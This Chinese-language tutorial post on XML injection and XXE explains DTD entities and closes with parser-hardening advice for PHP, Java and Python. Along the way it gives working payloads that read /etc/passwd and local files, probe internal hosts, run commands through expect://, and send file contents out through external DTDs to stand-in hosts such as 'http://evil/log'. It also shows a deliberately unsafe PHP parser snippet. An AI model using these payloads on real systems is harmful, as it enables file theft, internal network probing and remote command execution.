浅谈XML注入
Posted Le想安全
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了浅谈XML注入相关的知识,希望对你有一定的参考价值。
XML注入基础知识
1.XMl定义
XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;以及可扩展链接语言(Extensible Link Language,XLL)。
XML:可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。它被设计用来传输和存储数据(而不是储存数据),可扩展标记语言是一种很像超文本标记语言的标记语言。它的设计宗旨是传输数据,而不是显示数据。它的标签没有被预定义。您需要自行定义标签。它被设计为具有自我描述性。它是W3C的推荐标准。
可扩展标记语言(XML)和超文本标记语言(html)为不同的目的而设计:
XML被设计用来传输和存储数据,其焦点是数据的内容
HTML被设计用来显示数据,其焦点是数据的外观
2.XML的作用
XML使用元素和属性来描述数据。在数据传送过程中,XML始终保留了诸如父/子关系这样的数据结构。几个应用程序可以共享和解析同一个XML文件,不必使用传统的字符串解析或拆解过程。 相反,普通文件不对每个数据段做描述(除了在头文件中),也不保留数据关系结构。使用XML做数据交换可以使应用程序更具有弹性,因为可以用位置(与普通文件一样)或用元素名(从数据库)来存取XML数据。
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
<?xml version="1.0" encoding="UTF-8"?>
<!-- ⬆XML声明⬆ -->
<!DOCTYPE 文件名 [
<!ENTITY实体名 "实体内容">
]>
<!-- ⬆文档类型定义(DTD)⬆ -->
<元素名称 category="属性">
文本或其他元素
</元素名称>
<!-- ⬆文档元素⬆ -->
3.xml格式说明
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
(1)内部声明DTD
<!DOCTYPE 根元素 [元素声明]>
(2)引用外部DTD
<!DOCTYPE 根元素 SYSTEM "文件名">或者<!DOCTYPE 根元素 PUBLIC"public_ID" "文件名">
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
(3)DTD的实体
l DTD的作用
DTD(文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。
外部实体是指XML处理器必须解析的数据。它对于在多个文档之间创建共享的公共引用很有用。对外部实体进行的任何更改将在包含对其的引用的文档中自动更新。即XML使用外部实体将信息或“内容”将自动提取到XML文档的正文中。为此,我们需要在XML文档内部声明一个外部实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。。我们可以在内部确定其值(内部子集):
或从外部来源:(外部子集):
注意到SYSTEM标识符没?该标识符意味着该实体将从外部来源获取内容,在本例中,该内容是“site.com”下的一个页面。
为了声明这些实体,我们需要在文档类型定义(DTD)中进行。DTD是一组标记声明,用于定义XML的文档类型。它定义了XML文档的合法结构块和具有合法元素和属性列表的文档结构。DTD可以在XML文档内部声明,也可以作为外部引用声明—使用SYSTEM标识符指向可解析位置中的另一组声明。ENTITY可以使用SYSTEM关键字,调用外部资源,而这里是支持很多的协议,如:http;file等,然后,在其他DoM结点中可以使用如:&test;引用该实体内容.
那么,如果在产品功能设计当中,解析的xml是由外部可控制的,那将可能形成,如:文件读取,DoS,CSRF等漏洞.
如果要引用一个外部资源,可以借助各种协议几个例子:
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
我们来看一个DTD的例子,一个在DTD里面有一个SYSTEM标识符的实体:
l 内部声明实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
一个内部实体声明
<!ENTITY 实体名称 "实体的值">
例子
DTD:
<!ENTITY writer "me">
XML:
<author>&writer;</author>
注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。
l 引用外部实体
一个外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
例子
DTD:
<!ENTITY writer SYSTEM "http://example.com/dtd/writer.dtd">
XML:
<author>&writer;</author>
外部实体类型有
(4)CDATA
CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。
在 XML 元素中,"<" (新元素的开始)和 "&" (字符实体的开始)是非法的。
某些文本,比如 javascript 代码,包含大量 "<" 或 "&" 字符。为了避免错误,可以将脚本代码定义为 CDATA。
CDATA 部分中的所有内容都会被解析器忽略。
CDATA 部分由 "<![CDATA[" 开始,由 "]]>" 结束
4.xml的实体
XML中的实体分为以下五种:字符实体,命名实体,外部实体,参数实体,内部实体,普通实体和参数实体都分为内部实体和外部实体两种,外部实体定义需要加上 SYSTEM关键字,其内容是URL所指向的外部文件实际的内容。如果不加SYSTEM关键字,则为内部实体,表示实体指代内容为字符串。
(1)字符实体
指用十进制格式(&#aaa;)或十六进制格式(પ)来指定任意 Unicode 字符。对 XML 解析器而言,字符实体与直接输入指定字符的效果完全相同。
(2)命名实体
也称为内部实体,在 DTD 或内部子集(即文档中 <!DOCTYPE> 语句的一部分)中声明,在文档中用作引用。在 XML 文档解析过程中,实体引用将由它的表示替代。
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c://test/1.txt" >]>
<value>&xxe;</value>
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://otherhost/xxxx.php" >]>
<value>&xxe;</value>
可以用做xxe+ssrf
(3)外部实体
外部实体表示外部文件的内容,用 SYSTEM 关键词表示。
<!ENTITY test SYSTEM "1.xml">
有些XML文档包含system标识符定义的“实体”,这些文档会在DOCTYPE头部标签中呈现。这些定义的’实体’能够访问本地或者远程的内容。比如,下面的XML文档样例就包含了XML ‘实体’。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Anything [
<!ENTITY entityex SYSTEM "file:///etc/passwd">
]>
<abc>&entityex;</abc>
在上面的代码中,XML外部实体‘entityex’被赋予的值为:file://etc/passwd。在解析XML文档的过程中,实体’entityex’的值会被替换为URI(file://etc/passwd)内容值(也就是passwd文件的内容)。关键字’SYSTEM’会告诉XML解析器,’entityex’实体的值将从其后的URI中读取,并把读取的内容替换entityex出现的地方。
假如 SYSTEM 后面的内容可以被用户控制,那么用户就可以随意替换为其他内容,从而读取服务器本地文件(file:///etc/passwd)或者远程文件(http://www.baidu.com/abc.txt)
(4)参数实体
参数实体只用于 DTD 和文档的内部子集中,XML的规范定义中,只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。该类型的实体用“%”字符(或十六进制编码的%)声明,并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容:
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
参数实体只能在 DTD文件中被引用,其他实体在XML文档内引用。
即下面实例,参数实体 在DOCTYPE内 ,其他实体在外
<!DOCTYPE a [
<!ENTITY % name SYSTEM “file:///etc/passwd”>
%name;
]>
参数实体在DTD中解析优先级高于xml内部实体
实体相当于变量 “file:///etc/passwd”赋值给name
先写一段简单的xml利用代码,以php为例子:
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
?>
echo $xml->name;中->name可以任意更改。
如下所示:
参数实体的示例:
<!ENTITY 实体名称 "实体的值">
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://evil.com'>">
%param1;
]>
<root>
<test>[This is my site] &internal;</test>
</root>
如:
<!ENTITY % aaa "233">
参数实体param1中包含内部实体的声明,用于替代<test>标签中的实体引用参数。
这里,一定要注意流程,参数实体在DTD中解析是优先于XML文本中的内部实体解析。
参数实体有几个特性,这几个特性也决定了它能被利用的程度:
只能在DTD内部
立即引用
实体嵌套
(5)内部实体
内置实体为预留的实体,如:
实体引用字符
< <
> >
& &
" "
' '
而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。
关于实体嵌套的情况,比较幸运的是DTD中支持单双引号,所以可以通过单双引号间隔使用作为区分嵌套实体和实体之间的关系;在实际使用中,我们通常需要再嵌套一个参数实体,%号是需要处理成 % 如下:
<!ENTITY % param1 '<!ENTITY % xxe SYSTEM "http://evil/log?%payload;" >'
%也可写为16进制%
另:内部实体的这支持与否也是取决于解释器的
(6)命名实体+外部实体写法
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY dtd SYSTEM "http://localhost:88/evil.xml">
]>
<value>&dtd;</value>
这种命名实体调用外部实体,发现evil.xml中不能定义实体,否则解析不了,感觉命名实体好鸡肋,参数实体就好用很多
(7)第一种命名实体+外部实体+参数实体写法
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
%dtd; %all;
]>
<value>&send;</value>
其中evil.xml文件内容为
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">
调用过程为:参数实体dtd调用外部实体evil.xml,然后又调用参数实体all,接着调用命名实体send
(8)第二种命名实体+外部实体+参数实体写法
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
%dtd;
%send;
]>
<root></root>
其中evil.xml文件内容为:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;
调用过程和第一种方法类似
5.XML中的协议支持
上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有
XML注入简单利用
1.xxe注入定义
XXE注入,即XML External Entity,XML外部实体注入。通过 XML 实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
ENTITY 实体,在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的“别名”,即一个ENTITY,然后在这些文档中需要该数据的地方调用它。XML定义了两种类型的ENTITY,一种在XML文档中使用
若是在PHP中,libxml_disable_entity_loader设置为TRUE可禁用外部实体注。入另一种作为参数在DTD文件中使用。ENTITY的定义语法:
<!DOCTYPE 文件名 [
<!ENTITY 实体名 "实体内容">
]>
定义好的ENTITY在文档中通过“&实体名;”来使用。举例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE booklist [
<!ENTITY publisher "ABC company">
]>
<booklist>
<book>
<name>Ajax</name>
<price>$5.95</price>
<description>Foundations of Ajax.</description>
<publisher>&publisher;</publisher> 这里的&publisher;会被“ABC company”替换
</book>
<book>
<name>Ajax Patterns</name>
<price>$7.95</price>
<description>Introduction of Ajax Patterns.</description>
<publisher>&publisher;</publisher> 这里的&publisher;会被“ABC company”替换
</book>
</booklist>
在 XML 中有 5 个预定义的实体引用:
< |
< |
小于 |
> |
> |
大于 |
& |
& |
和号 |
' |
' |
省略号 |
" |
" |
引号 |
注释:严格地讲,在 XML 中仅有字符 "<"和"&" 是非法的。省略号、引号和大于号是合法的,但是把它们替换为实体引用是个好的习惯。
2.XXE漏洞原理
既然XML可以从外部读取DTD文件,那我们就自然地想到了如果将路径换成另一个文件的路径,那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中,只要我们在XML中让前面的根元素的内容显示出来,不就可以读取那个文件的内容了。这就造成了一个任意文件读取的漏洞。
那如果我们指向的是一个内网主机的端口呢?是否会给出错误信息,我们是不是可以从错误信息上来判断内网主机这个端口是否开放,这就造成了一个内部端口被探测的问题。另外,一般来说,服务器解析XML有两种方式,一种是一次性将整个XML加载进内存中,进行解析;另一种是一部分一部分的、“流式”地加载、解析。如果我们递归地调用XML定义,一次性调用巨量的定义,那么服务器的内存就会被消耗完,造成了拒绝服务攻击。
构造本地xml接口,先包含本地xml文件,查看返回结果,正常返回后再换为服务器。
3.任意文件读取
payload如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///D://phpStudy//WWW//aa.txt">]>
<root>
<name>&xxe;</name>
</root>
读取aa.txt的内容:
4.探测内网地址
payload如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://192.168.0.100:80">]>
<root>
<name>&xxe;</name>
</root>
成功探测到内网端口内部信息。
我这是在windows下测试,假如是linux下还可以命令执行:
在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令
测试payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://ifconfig" >]>
<root>
<name>&xxe;</name>
</root>
这里读取系统命令ifconfig读取ip
5.防御XML注入攻击
方案:使用开发语言提供的禁用外部实体的方法
1.PHP:
libxml_disable_entity_loader(true);
2.JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
3.Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
以上是关于浅谈XML注入的主要内容,如果未能解决你的问题,请参考以下文章